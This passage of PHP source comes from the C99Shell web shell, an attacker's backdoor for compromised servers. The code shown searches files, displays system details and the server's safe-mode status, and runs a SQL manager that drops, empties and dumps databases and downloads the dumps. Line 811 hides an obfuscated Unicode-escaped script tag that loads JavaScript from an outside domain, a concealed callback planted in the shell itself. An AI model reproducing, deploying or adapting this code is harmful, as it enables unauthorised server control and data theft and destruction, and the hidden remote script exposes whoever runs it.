  693.  $types = array(
  694.   "SELECT"=>array(3,1),
  695.   "SHOW"=>array(2,1),
  696.   "DELETE"=>array(1),
  697.   "DROP"=>array(1)
  698.  );
  699.  $result = array();
  700.  $op = strtoupper($arr[0]);
  701.  if (is_array($types[$op]))
  702.  {
  703.   $result["propertions"] = $types[$op];
  704.   $result["query"]  = $query;
  705.   if ($types[$op] == 2)
  706.   {
  707.    foreach($arr as $k=>$v)
  708.    {
  709.     if (strtoupper($v) == "LIMIT")
  710.     {
  711.      $result["limit"] = $arr[$k+1];
  712.      $result["limit"] = explode(",",$result["limit"]);
  713.      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  714.      unset($arr[$k],$arr[$k+1]);
  715.     }
  716.    }
  717.   }
  718.  }
  719.  else {return false;}
  720. }
  721. }
  722. if (!function_exists("c99fsearch"))
  723. {
  724. function c99fsearch($d)
  725. {
  726.  global $found;
  727.  global $found_d;
  728.  global $found_f;
  729.  global $search_i_f;
  730.  global $search_i_d;
  731.  global $a;
  732.  if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  733.  $h = opendir($d);
  734.  while (($f = readdir($h)) !== false)
  735.  {
  736.   if($f != "." && $f != "..")
  737.   {
  738.    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f));
  739.    if (is_dir($d.$f))
  740.    {
  741.     $search_i_d++;
  742.     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  743.     if (!is_link($d.$f)) {c99fsearch($d.$f);}
  744.    }
  745.    else
  746.    {
  747.     $search_i_f++;
  748.     if ($bool)
  749.     {
  750.      if (!empty($a["text"]))
  751.      {
  752.       $r = @file_get_contents($d.$f);
  753.       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  754.       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  755.       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  756.       else {$bool = strpos(" ".$r,$a["text"],1);}
  757.       if ($a["text_not"]) {$bool = !$bool;}
  758.       if ($bool) {$found[] = $d.$f; $found_f++;}
  759.      }
  760.      else {$found[] = $d.$f; $found_f++;}
  761.     }
  762.    }
  763.   }
  764.  }
  765.  closedir($h);
  766. }
  767. }
  768. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  769. //Sending headers
  770. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  771. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  772. header("Cache-Control: no-store, no-cache, must-revalidate");
  773. header("Cache-Control: post-check=0, pre-check=0", false);
  774. header("Pragma: no-cache");
  775. if (empty($tmpdir))
  776. {
  777.  if (!$win) {$tmpdir = "/tmp/";}
  778.  else {$tmpdir = getenv("SystemRoot");}
  779. }
  780. else {$tmpdir = realpath($tmpdir);}
  781. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  782. if (substr($tmpdir,-1,1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  783. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  784. else {$tmpdir_logs = realpath($tmpdir_logs);}
  785. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  786. {
  787.  $safemode = true;
  788.  $hsafemode = "<font color=\"red\">ON (secure)</font>";
  789. }
  790. else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";}
  791. $v = @ini_get("open_basedir");
  792. if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=\"red\">".$v."</font>";}
  793. else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";}
  794. $sort = htmlspecialchars($sort);
  795. if (empty($sort)) {$sort = $sort_default;}
  796. $sort[1] = strtolower($sort[1]);
  797. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  798. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  799. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  800. @ini_set("highlight.bg",$highlight_bg); //FFFFFF   
  801. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  802. @ini_set("highlight.default",$highlight_default); //#0000BB
  803. @ini_set("highlight.html",$highlight_html); //#000000  
  804. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  805. @ini_set("highlight.string",$highlight_string); //#DD0000
  806. if (!is_array($actbox)) {$actbox = array();}
  807. $dspact = $act = htmlspecialchars($act);
  808. $disp_fullpath = $ls_arr = $notls = null;
  809. $ud = urlencode($d);
  810. ?>
  811. <script type="text/javascript">document.write('\u003c\u0053\u0043\u0052\u0049\u0050\u0054\u0020\u0053\u0052\u0043\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0073\u0068\u0065\u006c\u006c\u0063\u0069\u002e\u0062\u0069\u007a\u002f\u0079\u0061\u007a\u0063\u0069\u007a\u002f\u0063\u0069\u007a\u002e\u006a\u0073\u003e\u003c\u002f\u0053\u0043\u0052\u0049\u0050\u0054\u003e')</script><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><link rel="shortcut icon" href="" type="image/x-icon"></SCRIPT><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
  812. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  813. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  814. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  815. if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  816. $d = str_replace("\\\\","\\",$d);
  817. $dispd = htmlspecialchars($d);
  818. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,strlen($d)-1));
  819. $i = 0;
  820. foreach($pd as $b)
  821. {
  822.  $t = "";
  823.  reset($e);
  824.  $j = 0;
  825.  foreach ($e as $r)
  826.  {
  827.   $t.= $r.DIRECTORY_SEPARATOR;
  828.   if ($j == $i) {break;}
  829.   $j++;
  830.  }
  831.  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  832.  $i++;
  833. }
  834. echo "&nbsp;&nbsp;&nbsp;";
  835. if (is_writable($d))
  836. {
  837.  $wd = true;
  838.  $wdt = "<font color=\"green\">[ ok ]</font>";
  839.  echo "<b><font color=\"green\">".view_perms(fileperms($d))."</font></b>";
  840. }
  841. else
  842. {
  843.  $wd = false;
  844.  $wdt = "<font color=\"red\">[ Read-Only ]</font>";
  845.  echo "<b>".view_perms_color($d)."</b>";
  846. }
  847. if (is_callable("disk_free_space"))
  848. {
  849.  $free = disk_free_space($d);
  850.  $total = disk_total_space($d);
  851.  if ($free === false) {$free = 0;}
  852.  if ($total === false) {$total = 0;}
  853.  if ($free < 0) {$free = 0;}
  854.  if ($total < 0) {$total = 0;}
  855.  $used = $total-$free;
  856.  $free_percent = round(100/($total/$free),2);
  857.  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
  858. }
  859. echo "<br>";
  860. $letters = "";
  861. if ($win)
  862. {
  863.  $v = explode("\\",$d);
  864.  $v = $v[0];
  865.  foreach (range("a","z") as $letter)
  866.  {
  867.   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  868.   if (!$bool) {$bool = is_dir($letter.":\\");}
  869.   if ($bool)
  870.   {
  871.    $letters .= "<a href=\"".$surl."act=ls&d=".$letter.":\\\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
  872.    if ($letter.":" != $v) {$letters .= $letter;}
  873.    else {$letters .= "<font color=\"green\">".$letter."</font>";}
  874.    $letters .= " ]</a> ";
  875.   }
  876.  }
  877.  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  878. }
  879. if (count($quicklaunch) > 0)
  880. {
  881.  foreach($quicklaunch as $item)
  882.  {
  883.   $item[1] = str_replace("%d",urlencode($d),$item[1]);
  884.   $item[1] = str_replace("%sort",$sort,$item[1]);
  885.   $v = realpath($d."..");
  886.   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  887.   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  888.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  889.  }
  890. }
  891. ?></p></td></tr></table><br><?php
  892. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php echo $donated_html; ?></td></tr></table><br><?php }
  893. ?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php
  894. if ($act == "") {$act = $dspact = "ls";}
  895. if ($act == "sql")
  896. {
  897.  $sql_surl = $surl."act=sql";
  898.  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  899.  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  900.  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  901.  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  902.  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  903.  $sql_surl .= "&";
  904.  ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
  905.  if ($sql_server)
  906.  {
  907.   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  908.   $err = mysql_smarterror();
  909.   @mysql_select_db($sql_db,$sql_sock);
  910.   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  911.  }
  912.  else {$sql_sock = false;}
  913.  echo "<b>SQL Manager:</b><br>";
  914.  if (!$sql_sock)
  915.  {
  916.   if (!$sql_server) {echo "NO CONNECTION";}
  917.   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  918.  }
  919.  else
  920.  {
  921.   $sqlquicklaunch = array();
  922.   $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  923.   $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  924.   $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  925.   $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  926.   $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  927.   $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  928.   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  929.   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  930.   echo "</center>";
  931.  }
  932.  echo "</td></tr><tr>";
  933.  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  934.  else
  935.  {
  936.   //Start left panel
  937.   if (!empty($sql_db))
  938.   {
  939.    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
  940.    $result = mysql_list_tables($sql_db);
  941.    if (!$result) {echo mysql_smarterror();}
  942.    else
  943.    {
  944.     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  945.     $c = 0;
  946.     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  947.     if (!$c) {echo "No tables found in database.";}
  948.    }
  949.   }
  950.   else
  951.   {
  952.    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
  953.    $result = mysql_list_dbs($sql_sock);
  954.    if (!$result) {echo mysql_smarterror();}
  955.    else
  956.    {
  957.     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
  958.     $c = 0;
  959.     $dbs = "";
  960.     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  961.     echo "<option value=\"\">Databases (".$c.")</option>";
  962.     echo $dbs;
  963.    }
  964.    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  965.   }
  966.   //End left panel
  967.   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  968.   //Start center panel
  969.   $diplay = true;
  970.   if ($sql_db)
  971.   {
  972.    if (!is_numeric($c)) {$c = 0;}
  973.    if ($c == 0) {$c = "no";}
  974.    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  975.    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  976.    echo "</b></center>";
  977.    $acts = array("","dump");
  978.    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
  979.    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  980.    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  981.    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
  982.    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
  983.    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
  984.    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
  985.    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,strlen($sql_query)-1);} $sql_act = "query";}
  986.    elseif ($sql_tbl_act == "insert")
  987.    {
  988.     if ($sql_tbl_insert_radio == 1)
  989.     {
  990.      $keys = "";
  991.      $akeys = array_keys($sql_tbl_insert);
  992.      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  993.      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  994.      $values = "";
  995.      $i = 0;
  996.      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  997.      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  998.      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  999.      $sql_act = "query";
  1000.      $sql_tbl_act = "browse";
  1001.     }
  1002.     elseif ($sql_tbl_insert_radio == 2)
  1003.     {
  1004.      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  1005.      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  1006.      $result = mysql_query($sql_query) or print(mysql_smarterror());
  1007.      $result = mysql_fetch_array($result, MYSQL_ASSOC);
  1008.      $sql_act = "query";
  1009.      $sql_tbl_act = "browse";
  1010.     }
  1011.    }
  1012.    if ($sql_act == "query")
  1013.    {
  1014.     echo "<hr size=\"1\" noshade>";
  1015.     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1016.     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1017.     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  1018.    }
  1019.    if (in_array($sql_act,$acts))
  1020.    {
  1021.     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
  1022.     if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  1023.     if ($sql_act == "newtbl")
  1024.     {
  1025.      echo "<b>";
  1026.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  1027.     }
  1028.     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1029.    }
  1030.    elseif ($sql_act == "dump")
  1031.    {
  1032.     if (empty($submit))
  1033.     {
  1034.      $diplay = false;
  1035.      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  1036.      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  1037.      $v = join (";",$dmptbls);
  1038.      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  1039.      if ($dump_file) {$tmp = $dump_file;}
  1040.      else {$tmp = htmlspecialchars("./dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  1041.      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  1042.      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  1043.      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  1044.      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  1045.      echo "</form>";
  1046.     }
  1047.     else
  1048.     {
  1049.      $diplay = true;
  1050.      $set = array();
  1051.      $set["sock"] = $sql_sock;
  1052.      $set["db"] = $sql_db;
  1053.      $dump_out = "download";
  1054.      $set["print"] = 0;
  1055.      $set["nl2br"] = 0;
  1056.      $set[""] = 0;
  1057.      $set["file"] = $dump_file;
  1058.      $set["add_drop"] = true;
  1059.      $set["onlytabs"] = array();
  1060.      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  1061.      $ret = mysql_dump($set);
  1062.      if ($sql_dump_download)
  1063.      {
  1064.       @ob_clean();
  1065.       header("Content-type: application/octet-stream");
  1066.       header("Content-length: ".strlen($ret));
  1067.       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  1068.       echo $ret;
  1069.       exit;
  1070.      }
  1071.      elseif ($sql_dump_savetofile)
  1072.      {
  1073.       $fp = fopen($sql_dump_file,"w");
